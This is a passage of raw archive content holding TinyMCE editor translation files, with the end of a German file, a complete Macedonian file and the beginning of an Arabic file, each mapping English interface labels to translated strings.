"Insert link": "Link einf\u00fcgen",
"Target": "Ziel",
"Link": "Link",
"Poster": "Poster",
"Media": "Medium",
"Print": "Drucken",
"Prev": "Zur\u00fcck",
"Find and replace": "Suchen und ersetzen",
"Whole words": "Nur ganze W\u00f6rter",
"Insert template": "Vorlage einf\u00fcgen "
});PK
h�\[���I�I!program/js/tinymce/langs/mk_MK.jsnu�[���tinymce.addI18n('mk_MK',{
"Cut": "\u0418\u0441\u0435\u0447\u0438",
"Heading 5": "Heading 5",
"Header 2": "\u0417\u0430\u0433\u043b\u0430\u0432\u0458\u0435 2",
"Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "\u0412\u0430\u0448\u0438\u043e\u0442 \u043f\u0440\u0435\u043b\u0438\u0441\u0442\u0443\u0432\u0430\u0447 \u043d\u0435 \u043f\u043e\u0434\u0440\u0436\u0443\u0432\u0430 \u0434\u0438\u0440\u0435\u043a\u0442\u0435\u043d \u043f\u0440\u0438\u0441\u0442\u0430\u043f \u0434\u043e clipboard. \u041a\u043e\u0440\u0438\u0441\u0442\u0435\u0442\u0435 \u0433\u0438 \u043a\u0440\u0430\u0442\u0435\u043d\u043a\u0438\u0442\u0435 CTRL+X\/C\/V.",
"Heading 4": "Heading 4",
"Div": "Div",
"Heading 2": "Heading 2",
"Paste": "\u0417\u0430\u043b\u0435\u043f\u0438",
"Close": "\u0417\u0430\u0442\u0432\u043e\u0440\u0438",
"Font Family": "Font Family",
"Pre": "Pre",
"Align right": "\u041f\u043e\u0440\u0430\u043c\u043d\u0438 \u0434\u0435\u0441\u043d\u043e",
"New document": "\u041d\u043e\u0432 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442",
"Blockquote": "Blockquote",
"Numbered list": "\u041b\u0438\u0441\u0442\u0430 \u0431\u0440\u043e\u0458\u043a\u0438",
"Heading 1": "Heading 1",
"Headings": "\u0417\u0430\u0433\u043b\u0430\u0432\u0438\u0458\u0430",
"Increase indent": "\u0417\u0433\u043e\u043b\u0435\u043c\u0438 \u0432\u043e\u0432\u043b\u0435\u043a\u0443\u0432\u0430\u045a\u0435",
"Formats": "\u0424\u043e\u0440\u043c\u0430\u0442\u0438",
"Headers": "\u0417\u0430\u0433\u043b\u0430\u0432\u0458\u0435",
"Select all": "\u0421\u0435\u043b\u0435\u043a\u0442\u0438\u0440\u0430\u0458 \u0441\u00e8",
"Header 3": "\u0417\u0430\u0433\u043b\u0430\u0432\u0458\u0435 3",
"Blocks": "Blocks",
"Undo": "\u0412\u0440\u0430\u0442\u0438",
"Strikethrough": "\u041f\u0440\u0435\u0446\u0440\u0442\u0430\u043d\u043e",
"Bullet list": "\u041b\u0438\u0441\u0442\u0430 \u0442\u043e\u0447\u043a\u0438",
"Header 1": "\u0417\u0430\u0433\u043b\u0430\u0432\u0458\u0435 1",
"Superscript": "\u0422\u0435\u043a\u0441\u0442 \u0433\u043e\u0440\u0435",
"Clear formatting": "\u0418\u0437\u0431\u0440\u0438\u0448\u0438 \u0444\u043e\u0440\u043c\u0430\u0442\u0438\u0440\u0430\u045a\u0435",
"Font Sizes": "Font Sizes",
"Subscript": "\u0422\u0435\u043a\u0441\u0442 \u0434\u043e\u043b\u0443",
"Header 6": "\u0417\u0430\u0433\u043b\u0430\u0432\u0458\u0435 6",
"Redo": "\u041f\u043e\u0432\u0442\u043e\u0440\u0438",
"Paragraph": "\u041f\u0430\u0440\u0430\u0433\u0440\u0430\u0444",
"Ok": "\u041e\u043a",
"Bold": "\u0417\u0434\u0435\u0431\u0435\u043b\u0435\u043d\u043e",
"Code": "Code",
"Italic": "\u0417\u0430\u043a\u043e\u0441\u0435\u043d\u043e",
"Align center": "\u041f\u043e\u0440\u0430\u043c\u043d\u0438 \u0441\u0440\u0435\u0434\u0438\u043d\u0430",
"Header 5": "\u0417\u0430\u0433\u043b\u0430\u0432\u0458\u0435 5",
"Heading 6": "Heading 6",
"Heading 3": "Heading 3",
"Decrease indent": "\u041d\u0430\u043c\u0430\u043b\u0438 \u0432\u043e\u0432\u043b\u0435\u043a\u0443\u0432\u0430\u045a\u0435",
"Header 4": "\u0417\u0430\u0433\u043b\u0430\u0432\u0458\u0435 4",
"Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.": "\u0412\u043c\u0435\u0442\u043d\u0443\u0432\u0430\u045a\u0435\u0442\u043e \u0441\u0435\u0433\u0430 \u0435 \u043a\u0430\u043a\u043e \u0447\u0438\u0441\u0442 \u0442\u0435\u043a\u0441\u0442. \u0421\u043e\u0434\u0440\u0436\u0438\u043d\u0430\u0442\u0430 \u045c\u0435 \u0431\u0438\u0434\u0435 \u0432\u043c\u0435\u0442\u043d\u0430\u0442\u0430 \u043a\u0430\u043a\u043e \u0447\u0438\u0441\u0442 \u0442\u0435\u043a\u0441\u0442 \u0431\u0430\u0440\u0435\u043c \u0434\u043e\u0434\u0435\u043a\u0430 \u043d\u0435 \u0458\u0430 \u0438\u0441\u043a\u043b\u0443\u0447\u0438\u0442\u0435 \u043e\u0432\u0430\u0430 \u043e\u043f\u0446\u0438\u0458\u0430",
"Underline": "\u041f\u043e\u0434\u0432\u043b\u0435\u0447\u0435\u043d\u043e",
"Cancel": "\u041e\u0442\u043a\u0430\u0436\u0438",
"Justify": "Justify",
"Inline": "Inline",
"Copy": "\u041a\u043e\u043f\u0438\u0440\u0430\u0458",
"Align left": "\u041f\u043e\u0440\u0430\u043c\u043d\u0438 \u043b\u0435\u0432\u043e",
"Visual aids": "\u0412\u0438\u0437\u0443\u0435\u043b\u043d\u0430 \u043f\u043e\u043c\u043e\u0448",
"Lower Greek": "\u043c\u0430\u043b\u0438 \u0413\u0440\u0438\u043a",
"Square": "\u043a\u0432\u0430\u0434\u0440\u0430\u0442",
"Default": "\u041f\u043e\u0441\u0442\u0430\u0432\u0435\u043d\u043e",
"Lower Alpha": "\u043c\u0430\u043b\u0438 \u0410\u043b\u0444\u0430",
"Circle": "\u043a\u0440\u0443\u0433",
"Disc": "\u0434\u0438\u0441\u043a",
"Upper Alpha": "\u0433\u043e\u043b\u0435\u043c\u0438 \u0410\u043b\u0444\u0430",
"Upper Roman": "\u0433\u043e\u043b\u0435\u043c\u0438 \u0420\u043e\u043c\u0430\u043d",
"Lower Roman": "\u043c\u0430\u043b\u0438 \u0420\u043e\u043c\u0430\u043d",
"Name": "\u0418\u043c\u0435",
"Anchor": "Anchor",
"You have unsaved changes are you sure you want to navigate away?": "\u0418\u043c\u0430\u0442\u0435 \u043d\u0435\u0437\u0430\u0447\u0443\u0432\u0430\u043d\u0438 \u043f\u0440\u043e\u043c\u0435\u043d\u0438. \u0414\u0430\u043b\u0438 \u0441\u0430\u043a\u0430\u0442\u0435 \u0434\u0430 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0438\u0442\u0435 \u043f\u043e\u043d\u0430\u0442\u0430\u043c\u0443?",
"Restore last draft": "\u0412\u0440\u0430\u0442\u0438 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0430 \u043f\u0440\u0438\u043f\u0440\u0435\u043c\u0430",
"Special character": "\u0421\u043f\u0435\u0446\u0438\u0458\u0430\u043b\u0435\u043d \u043a\u0430\u0440\u0430\u043a\u0442\u0435\u0440",
"Source code": "\u0418\u0437\u0432\u043e\u0440\u0435\u043d \u043a\u043e\u0434",
"B": "\u0411",
"R": "\u0420",
"G": "\u0413",
"Color": "\u0411\u043e\u0458\u0430",
"Right to left": "\u0414\u0435\u0441\u043d\u043e \u043d\u0430 \u043b\u0435\u0432\u043e",
"Left to right": "\u041b\u0435\u0432\u043e \u043d\u0430 \u0434\u0435\u0441\u043d\u043e",
"Emoticons": "\u0421\u043c\u0430\u0458\u043b\u0438",
"Robots": "\u0420\u043e\u0431\u043e\u0442\u0438",
"Document properties": "\u041f\u043e\u0434\u0430\u0442\u043e\u0446\u0438 \u0437\u0430 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0442",
"Title": "\u041d\u0430\u0441\u043b\u043e\u0432",
"Keywords": "\u041a\u043b\u0443\u0447\u043d\u0438 \u0437\u0431\u043e\u0440\u043e\u0432\u0438",
"Encoding": "\u0415\u043d\u043a\u043e\u0434\u0438\u043d\u0433",
"Description": "\u041e\u043f\u0438\u0441",
"Author": "\u0410\u0432\u0442\u043e\u0440",
"Fullscreen": "\u0426\u0435\u043b \u0435\u043a\u0440\u0430\u043d",
"Horizontal line": "\u0425\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u043d\u0430 \u043b\u0438\u043d\u0438\u0458\u0430",
"Horizontal space": "\u0425\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u0435\u043d \u043f\u0440\u043e\u0441\u0442\u043e\u0440",
"Insert\/edit image": "\u0412\u043d\u0435\u0441\u0438\/\u0438\u0437\u043c\u0435\u043d\u0438 \u0441\u043b\u0438\u043a\u0430",
"General": "\u0413\u0435\u043d\u0435\u0440\u0430\u043b\u043d\u043e",
"Advanced": "\u041d\u0430\u043f\u0440\u0435\u0434\u043d\u043e",
"Source": "\u0418\u0437\u0432\u043e\u0440",
"Border": "\u0420\u0430\u043c\u043a\u0430",
"Constrain proportions": "\u0421\u0440\u0430\u0437\u043c\u0435\u0440\u043d\u0438 \u043f\u0440\u043e\u043f\u043e\u0440\u0446\u0438\u0438",
"Vertical space": "\u0412\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u0435\u043d \u043f\u0440\u043e\u0441\u0442\u043e\u0440",
"Image description": "\u041e\u0431\u0458\u0430\u0441\u043d\u0443\u0432\u0430\u045a\u0435 \u043d\u0430 \u0441\u043b\u0438\u043a\u0430",
"Style": "\u0421\u0442\u0438\u043b",
"Dimensions": "\u0414\u0438\u043c\u0435\u043d\u0437\u0438\u0438",
"Insert image": "\u0412\u043d\u0435\u0441\u0438 \u0441\u043b\u0438\u043a\u0430",
"Zoom in": "\u0417\u0433\u043e\u043b\u0435\u043c\u0438 \u043f\u043e\u0433\u043b\u0435\u0434",
"Contrast": "\u041a\u043e\u043d\u0442\u0440\u0430\u0441\u0442",
"Back": "\u041d\u0430\u0437\u0430\u0434",
"Gamma": "\u0413\u0430\u043c\u0430",
"Flip horizontally": "\u0421\u0432\u0440\u0442\u0438 \u0445\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u043d\u043e",
"Resize": "\u0420\u0435\u0434\u0438\u043c\u0435\u043d\u0437\u0438\u043e\u043d\u0438\u0440\u0430\u0458",
"Sharpen": "\u041e\u0441\u0442\u0440\u0438\u043d\u0430",
"Zoom out": "\u041d\u0430\u043c\u0430\u043b\u0438 \u043f\u043e\u0433\u043b\u0435\u0434",
"Image options": "\u041e\u043f\u0446\u0438\u0438 \u0437\u0430 \u0441\u043b\u0438\u043a\u0430",
"Apply": "\u041f\u0440\u0438\u043c\u0435\u043d\u0438",
"Brightness": "\u0421\u0432\u0435\u0442\u043b\u043e\u0441\u0442",
"Rotate clockwise": "\u0421\u0432\u0440\u0442\u0438 \u0432\u043e \u043f\u0440\u0430\u0432\u0435\u0446 \u043d\u0430 \u0441\u0442\u0440\u0435\u043b\u043a\u0430\u0442\u0430",
"Rotate counterclockwise": "\u0421\u0432\u0440\u0442\u0438 \u043e\u0431\u0440\u0430\u0442\u043d\u043e \u043e\u0434 \u0441\u0442\u0440\u0435\u043b\u043a\u0430\u0442\u0430",
"Edit image": "\u0423\u0440\u0435\u0434\u0438 \u0441\u043b\u0438\u043a\u0430",
"Color levels": "\u041d\u0438\u0432\u043e\u0430 \u043d\u0430 \u0431\u043e\u0438",
"Crop": "\u041e\u0442\u0441\u0435\u0447\u0438",
"Orientation": "\u041e\u0440\u0438\u0435\u043d\u0442\u0430\u0446\u0438\u0458\u0430",
"Flip vertically": "\u0421\u0432\u0440\u0442\u0438 \u0432\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u043d\u043e",
"Invert": "\u0418\u043d\u0432\u0435\u0440\u0437\u043d\u043e",
"Insert date\/time": "\u0412\u043d\u0435\u0441\u0438 \u0434\u0430\u0442\u0443\u043c\/\u0432\u0440\u0435\u043c\u0435",
"Remove link": "\u041e\u0442\u0441\u0442\u0440\u0430\u043d\u0438 \u043b\u0438\u043d\u043a",
"Url": "Url",
"Text to display": "\u0422\u0435\u043a\u0441\u0442 \u0437\u0430 \u043f\u0440\u0438\u043a\u0430\u0437",
"Anchors": "Anchors",
"Insert link": "\u0412\u043d\u0435\u0441\u0438 \u043b\u0438\u043d\u043a",
"New window": "\u043d\u043e\u0432 \u043f\u0440\u043e\u0437\u043e\u0440\u0435\u0446",
"None": "\u043d\u0438\u0448\u0442\u043e",
"The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?": "\u0421\u0435 \u0447\u0438\u043d\u0438 \u0434\u0435\u043a\u0430 \u0430\u0434\u0440\u0435\u0441\u0430\u0442\u0430 \u0448\u0442\u043e \u0458\u0430 \u0432\u043d\u0435\u0441\u043e\u0432\u0442\u0435 \u0435 \u043d\u0430\u0434\u0432\u043e\u0440\u0435\u0448\u0435\u043d \u043b\u0438\u043d\u043a. \u0414\u0430\u043b\u0438 \u0441\u0430\u043a\u0430\u0442\u0435 \u0434\u0430 \u0431\u0438\u0434\u0435 \u0434\u043e\u0434\u0430\u0434\u0435\u043d \u043f\u043e\u0442\u0440\u0435\u0431\u043d\u0438\u043e\u0442 http:\/\/ \u043f\u0440\u0435\u0444\u0438\u043a\u0441?",
"Target": "\u0446\u0435\u043b",
"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?": "\u0421\u0435 \u0447\u0438\u043d\u0438 \u0434\u0435\u043a\u0430 \u0430\u0434\u0440\u0435\u0441\u0430\u0442\u0430 \u0448\u0442\u043e \u0458\u0430 \u0432\u043d\u0435\u0441\u043e\u0432\u0442\u0435 \u0435 \u0435-\u043f\u043e\u0448\u0442\u0430. \u0414\u0430\u043b\u0438 \u0441\u0430\u043a\u0430\u0442\u0435 \u0434\u0430 \u0431\u0438\u0434\u0435 \u0434\u043e\u0434\u0430\u0434\u0435\u043d \u043f\u043e\u0442\u0440\u0435\u0431\u043d\u0438\u043e\u0442 mailto: \u043f\u0440\u0435\u0444\u0438\u043a\u0441?",
"Insert\/edit link": "\u0412\u043d\u0435\u0441\u0438\/\u0443\u0440\u0435\u0434\u0438 \u043b\u0438\u043d\u043a",
"Insert\/edit video": "\u0412\u043d\u0435\u0441\u0438\/\u0443\u0440\u0435\u0434\u0438 \u0432\u0438\u0434\u0435\u043e",
"Poster": "\u041f\u043e\u0441\u0442\u0435\u0440",
"Alternative source": "\u0410\u043b\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u0435\u043d \u0438\u0437\u0432\u043e\u0440",
"Paste your embed code below:": "\u041f\u043e\u0434\u043e\u043b\u0443 \u0441\u0442\u0430\u0432\u0435\u0442\u0435 \u0433\u043e \u0432\u0430\u0448\u0438\u043e\u0442 \u043a\u043e\u0434 \u0437\u0430 \u0432\u043c\u0435\u0442\u043d\u0443\u0432\u0430\u045a\u0435:",
"Insert video": "\u0412\u043d\u0435\u0441\u0438 \u0432\u0438\u0434\u0435\u043e",
"Embed": "\u0412\u043c\u0435\u0442\u043d\u0438 \u043a\u043e\u0434",
"Nonbreaking space": "\u041d\u0435\u043f\u0440\u0435\u043a\u0440\u0448\u0443\u0432\u0430\u0447\u043a\u0438 \u043f\u0440\u043e\u0441\u0442\u043e\u0440",
"Page break": "\u041f\u0440\u0435\u043a\u0440\u0448\u0443\u0432\u0430\u045a\u0435",
"Paste as text": "\u0412\u043c\u0435\u0442\u043d\u0438 \u043a\u0430\u043a\u043e \u0442\u0435\u043a\u0441\u0442",
"Preview": "\u041f\u0440\u0435\u0433\u043b\u0435\u0434",
"Print": "\u041f\u0435\u0447\u0430\u0442\u0438",
"Save": "\u0417\u0430\u0447\u0443\u0432\u0430\u0458",
"Could not find the specified string.": "\u041d\u0435\u043c\u043e\u0436\u043d\u043e \u043d\u0430\u043e\u0453\u0430\u045a\u0435 \u043d\u0430 \u043f\u043e\u0441\u043e\u0447\u0435\u043d\u0438\u043e\u0442 \u043f\u043e\u0438\u043c",
"Replace": "\u0417\u0430\u043c\u0435\u043d\u0438",
"Next": "\u041f\u043e",
"Whole words": "\u0426\u0435\u043b\u0438 \u0437\u0431\u043e\u0440\u043e\u0432\u0438",
"Find and replace": "\u041d\u0430\u0458\u0434\u0438 \u0438 \u0437\u0430\u043c\u0435\u043d\u0438",
"Replace with": "\u0417\u0430\u043c\u0435\u043d\u0438 \u0441\u043e",
"Find": "\u041d\u0430\u0458\u0434\u0438",
"Replace all": "\u0417\u0430\u043c\u0435\u043d\u0438 \u0441\u00e8",
"Match case": "\u0426\u0435\u043b\u043e\u0441\u043d\u043e \u0441\u043e\u0432\u043f\u0430\u0453\u0430\u045a\u0435",
"Prev": "\u041f\u0440\u0435\u0434",
"Spellcheck": "\u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043d\u0430 \u043f\u0440\u0430\u0432\u043e\u043f\u0438\u0441",
"Finish": "\u0424\u0438\u043d\u0438\u0448",
"Ignore all": "\u0418\u0433\u043d\u043e\u0440\u0438\u0440\u0430\u0458 \u0441\u00e8",
"Ignore": "\u0418\u0433\u043d\u043e\u0440\u0438\u0440\u0430\u0458",
"Add to Dictionary": "\u0414\u043e\u0434\u0430\u0434\u0438 \u0432\u043e \u0440\u0435\u0447\u043d\u0438\u043a",
"Insert row before": "\u0412\u043c\u0435\u0442\u043d\u0438 \u0440\u0435\u0434 \u043d\u0430\u0434",
"Rows": "\u0420\u0435\u0434\u043e\u0432\u0438",
"Height": "\u0412\u0438\u0441\u0438\u043d\u0430",
"Paste row after": "\u0412\u043c\u0435\u0442\u043d\u0438 \u0440\u0435\u0434 \u043f\u043e\u0434",
"Alignment": "\u041f\u043e\u0440\u0430\u043c\u043d\u0443\u0432\u0430\u045a\u0435",
"Border color": "\u0411\u043e\u0458\u0430 \u043d\u0430 \u0440\u0430\u043c\u043a\u0430",
"Column group": "\u0413\u0440\u0443\u043f\u0430 \u043d\u0430 \u043a\u043e\u043b\u043e\u043d\u0430",
"Row": "\u0420\u0435\u0434",
"Insert column before": "\u0412\u043c\u0435\u0442\u043d\u0438 \u043a\u043e\u043b\u043e\u043d\u0430 \u043d\u0430\u0434",
"Split cell": "\u041f\u043e\u0434\u0435\u043b\u0438 \u045c\u0435\u043b\u0438\u0458\u0430",
"Cell padding": "\u0411\u0435\u043b\u0438\u043d\u0430 \u0432\u043e \u045c\u0435\u043b\u0438\u0458\u0430",
"Cell spacing": "\u041f\u0440\u043e\u0441\u0442\u043e\u0440 \u043d\u0430 \u045c\u0435\u043b\u0438\u0458\u0430",
"Row type": "\u0422\u0438\u043f \u043d\u0430 \u0440\u0435\u0434",
"Insert table": "\u0412\u043c\u0435\u0442\u043d\u0438 \u0442\u0430\u0431\u0435\u043b\u0430",
"Body": "\u0422\u0435\u043b\u043e",
"Caption": "\u0417\u0430\u0433\u043b\u0430\u0432\u0438\u0435",
"Footer": "\u041f\u043e\u0434\u043d\u043e\u0436\u0458\u0435",
"Delete row": "\u0418\u0437\u0431\u0440\u0438\u0448\u0438 \u0440\u0435\u0434",
"Paste row before": "\u0412\u043c\u0435\u0442\u043d\u0438 \u0440\u0435\u0434 \u043d\u0430\u0434",
"Scope": "Scope",
"Delete table": "\u0418\u0437\u0431\u0440\u0438\u0448\u0438 \u0442\u0430\u0431\u0435\u043b\u0430",
"H Align": "H Align",
"Top": "\u0433\u043e\u0440\u0435",
"Header cell": "\u041d\u0430\u0441\u043b\u043e\u0432\u043d\u0430 \u045c\u0435\u043b\u0438\u0458\u0430",
"Column": "\u041a\u043e\u043b\u043e\u043d\u0430",
"Row group": "\u0413\u0440\u0443\u043f\u0430 \u043d\u0430 \u0440\u0435\u0434",
"Cell": "\u040c\u0435\u043b\u0438\u0458\u0430",
"Middle": "\u0441\u0440\u0435\u0434\u0438\u043d\u0430",
"Cell type": "\u0422\u0438\u043f \u043d\u0430 \u045c\u0435\u043b\u0438\u0458\u0430",
"Copy row": "\u041a\u043e\u043f\u0438\u0440\u0430\u0458 \u0440\u0435\u0434",
"Row properties": "\u041f\u043e\u0434\u0430\u0442\u043e\u0446\u0438 \u0437\u0430 \u0440\u0435\u0434",
"Table properties": "\u041f\u043e\u0434\u0430\u0442\u043e\u0446\u0438 \u0437\u0430 \u0442\u0430\u0431\u0435\u043b\u0430\u0442\u0430",
"Bottom": "\u0434\u043e\u043b\u0443",
"V Align": "V Align",
"Header": "\u041d\u0430\u0441\u043b\u043e\u0432",
"Right": "\u0434\u0435\u0441\u043d\u043e",
"Insert column after": "\u0412\u043c\u0435\u0442\u043d\u0438 \u043a\u043e\u043b\u043e\u043d\u0430 \u043f\u043e\u0434",
"Cols": "\u041a\u043e\u043b\u043e\u043d\u0438",
"Insert row after": "\u0412\u043c\u0435\u0442\u043d\u0438 \u0440\u0435\u0434 \u043f\u043e\u0434",
"Width": "\u0428\u0438\u0440\u0438\u043d\u0430",
"Cell properties": "\u041f\u043e\u0434\u0430\u0442\u043e\u0446\u0438 \u0437\u0430 \u045c\u0435\u043b\u0438\u0458\u0430",
"Left": "\u043b\u0435\u0432\u043e",
"Cut row": "\u041e\u0442\u0441\u0435\u0447\u0438 \u0440\u0435\u0434",
"Delete column": "\u0418\u0437\u0431\u0440\u0438\u0448\u0438 \u043a\u043e\u043b\u043e\u043d\u0430",
"Center": "\u0446\u0435\u043d\u0442\u0430\u0440",
"Merge cells": "\u0421\u043f\u043e\u0438 \u045c\u0435\u043b\u0438\u0438",
"Insert template": "\u0412\u043c\u0435\u0442\u043d\u0438 \u0448\u0430\u0431\u043b\u043e\u043d",
"Templates": "\u0428\u0430\u0431\u043b\u043e\u043d\u0438",
"Background color": "\u0411\u043e\u0458\u0430 \u043d\u0430 \u043f\u043e\u0437\u0430\u0434\u0438\u043d\u0430",
"Custom...": "\u041f\u043e \u0436\u0435\u043b\u0431\u0430...",
"Custom color": "\u0411\u043e\u0458\u0430 \u043f\u043e \u0436\u0435\u043b\u0431\u0430",
"No color": "\u0411\u0435\u0437 \u0431\u043e\u0458\u0430",
"Text color": "\u0411\u043e\u0458\u0430 \u043d\u0430 \u0442\u0435\u043a\u0441\u0442",
"Show blocks": "\u041f\u0440\u0438\u043a\u0430\u0436\u0438 \u0431\u043b\u043e\u043a\u043e\u0432\u0438",
"Show invisible characters": "\u041f\u0440\u0438\u043a\u0430\u0436\u0438 \u043d\u0435\u0432\u0438\u0434\u043b\u0438\u0432\u0438 \u043a\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u0438",
"Words: {0}": "\u0417\u0431\u043e\u0440\u043e\u0432\u0438: {0}",
"Insert": "\u0412\u043c\u0435\u0442\u043d\u0438",
"File": "\u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442",
"Edit": "\u0423\u0440\u0435\u0434\u0438",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help": "\u041f\u043e\u043b\u0435 \u0437\u0430 Rich Text. \u041f\u0440\u0438\u0442\u0438\u0441\u043d\u0438 ALT-F9 \u0437\u0430 \u043c\u0435\u043d\u0438. \u041f\u0440\u0438\u0442\u0438\u0441\u043d\u0438 ALT-F10 \u0437\u0430 \u043b\u0435\u043d\u0442\u0430 \u0441\u043e \u0430\u043b\u0430\u0442\u043a\u0438. \u041f\u0440\u0438\u0442\u0438\u0441\u043d\u0438 ALT-0 \u0437\u0430 \u043f\u043e\u043c\u043e\u0448.",
"Tools": "\u0410\u043b\u0430\u0442\u043a\u0438",
"View": "\u041f\u043e\u0433\u043b\u0435\u0434",
"Table": "\u0422\u0430\u0431\u0435\u043b\u0430",
"Format": "\u0424\u043e\u0440\u043c\u0430\u0442"
});PK
h�\�X_g�g�program/js/tinymce/langs/ar.jsnu�[���tinymce.addI18n('ar',{
"Redo": "\u0625\u0639\u0627\u062f\u0629",
"Undo": "\u062a\u0631\u0627\u062c\u0639",
"Cut": "\u0642\u0635",
"Copy": "\u0646\u0633\u062e",
"Paste": "\u0644\u0635\u0642",
"Select all": "\u062a\u062d\u062f\u064a\u062f \u0627\u0644\u0643\u0644",
"New document": "\u0645\u0633\u062a\u0646\u062f \u062c\u062f\u064a\u062f",
"Ok": "\u0645\u0648\u0627\u0641\u0642",
"Cancel": "\u0625\u0644\u063a\u0627\u0621 \u0627\u0644\u0623\u0645\u0631",
"Visual aids": "\u0623\u062f\u0648\u0627\u062a \u0627\u0644\u0645\u0633\u0627\u0639\u062f\u0629 \u0627\u0644\u0628\u0635\u0631\u064a\u0629",
"Bold": "\u063a\u0627\u0645\u0642",
"Italic": "\u0645\u0627\u0626\u0644",
"Underline": "\u062a\u0633\u0637\u064a\u0631",
"Strikethrough": "\u064a\u062a\u0648\u0633\u0637\u0647 \u062e\u0637",
"Superscript": "\u0645\u0631\u062a\u0641\u0639",
"Subscript": "\u0645\u0646\u062e\u0641\u0636",
"Clear formatting": "\u0645\u0633\u062d \u0627\u0644\u062a\u0646\u0633\u064a\u0642",
"Align left": "\u0645\u062d\u0627\u0630\u0627\u0629 \u0625\u0644\u0649 \u0627\u0644\u064a\u0633\u0627\u0631",
"Align center": "\u0645\u062d\u0627\u0630\u0627\u0629 \u0625\u0644\u0649 \u0627\u0644\u0648\u0633\u0637",
"Align right": "\u0645\u062d\u0627\u0630\u0627\u0629 \u0625\u0644\u0649 \u0627\u0644\u064a\u0645\u064a\u0646",
"Justify": "\u0636\u0628\u0637",
"Bullet list": "\u0642\u0627\u0626\u0645\u0629 \u062a\u0639\u062f\u0627\u062f \u0646\u0642\u0637\u064a",
"Numbered list": "\u0642\u0627\u0626\u0645\u0629 \u0645\u0631\u0642\u0645\u0651\u064e\u0629",
"Decrease indent": "\u062a\u0642\u0644\u064a\u0644 \u0627\u0644\u0645\u0633\u0627\u0641\u0629 \u0627\u0644\u0628\u0627\u062f\u0626\u0629",
"Increase indent": "\u0632\u064a\u0627\u062f\u0629 \u0627\u0644\u0645\u0633\u0627\u0641\u0629 \u0627\u0644\u0628\u0627\u062f\u0626\u0629",
"Close": "\u0625\u063a\u0644\u0627\u0642",
"Formats": "\u0627\u0644\u062a\u0646\u0633\u064a\u0642\u0627\u062a",
"Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "\u0645\u062a\u0635\u0641\u062d\u0643 \u0644\u0627 \u064a\u062f\u0639\u0645 \u0627\u0644\u0648\u0635\u0648\u0644 \u0627\u0644\u0645\u0628\u0627\u0634\u0631 \u0625\u0644\u0649 \u0627\u0644\u062d\u0627\u0641\u0638\u0629. \u064a\u064f\u0631\u062c\u0649 \u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0627\u062e\u062a\u0635\u0627\u0631\u0627\u062a \u0644\u0648\u062d\u0629 \u0627\u0644\u0645\u0641\u0627\u062a\u064a\u062d Ctrl+X\/C\/V \u0628\u062f\u0644\u0627\u064b \u0645\u0646 \u0630\u0644\u0643.",
"Headers": "\u0627\u0644\u0639\u0646\u0627\u0648\u064a\u0646",
"Header 1": "\u0627\u0644\u0639\u0646\u0648\u0627\u0646 1",
"Header 2": "\u0627\u0644\u0639\u0646\u0648\u0627\u0646 2",
"Header 3": "\u0627\u0644\u0639\u0646\u0648\u0627\u0646 3",
"Header 4": "\u0627\u0644\u0639\u0646\u0648\u0627\u0646 4",
"Header 5": "\u0627\u0644\u0639\u0646\u0648\u0627\u0646 5",
"Header 6": "\u0627\u0644\u0639\u0646\u0648\u0627\u0646 6",
"Headings": "\u0627\u0644\u0639\u0646\u0627\u0648\u064a\u0646",
"Heading 1": "\u0639\u0646\u0648\u0627\u0646 \u0661",
"Heading 2": "\u0639\u0646\u0648\u0627\u0646 2",
"Heading 3": "\u0639\u0646\u0648\u0627\u0646 3",
"Heading 4": "\u0639\u0646\u0648\u0627\u0646 4",
"Heading 5": "\u0639\u0646\u0648\u0627\u0646 5",
"Heading 6": "\u0639\u0646\u0648\u0627\u0646 6",
"Preformatted": "\u0645\u0646\u0633\u0642 \u0645\u0633\u0628\u0642\u064b\u0627",
"Div": "Div",
"Pre": "Pre",
"Code": "\u0631\u0645\u0632",
"Paragraph": "\u0627\u0644\u0641\u0642\u0631\u0629",
"Blockquote": "Blockquote",
"Inline": "\u062f\u0627\u062e\u0644\u064a",
"Blocks": "\u0627\u0644\u0643\u062a\u0644",
"Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.": "\u064a\u062a\u0645 \u0627\u0644\u0644\u0635\u0642 \u062d\u0627\u0644\u064a\u0627\u064b \u0643\u0646\u0635 \u0639\u0627\u062f\u064a. \u0627\u0644\u0645\u062d\u062a\u0648\u0649 \u0633\u064a\u0628\u0642\u0649 \u0643\u0646\u0635 \u0639\u0627\u062f\u064a \u062d\u062a\u0649 \u062a\u0642\u0648\u0645 \u0628\u062a\u0639\u0637\u064a\u0644 \u0647\u0630\u0627 \u0627\u0644\u062e\u064a\u0627\u0631.",
"Fonts": "\u0627\u0644\u062e\u0637\u0648\u0637",
"Font Sizes": "\u0623\u062d\u062c\u0627\u0645 \u0627\u0644\u062e\u0637\u0648\u0637",
"Class": "\u0627\u0644\u0641\u0626\u0629",
"Browse for an image": "\u0627\u0633\u062a\u0639\u0631\u0627\u0636 \u0635\u0648\u0631\u0629",
"OR": "\u0623\u0648",
"Drop an image here": "\u0625\u0641\u0644\u0627\u062a \u0635\u0648\u0631\u0629 \u0647\u0646\u0627",
"Upload": "\u062a\u062d\u0645\u064a\u0644",
"Block": "\u062d\u0638\u0631",
"Align": "\u0645\u062d\u0627\u0630\u0627\u0629",
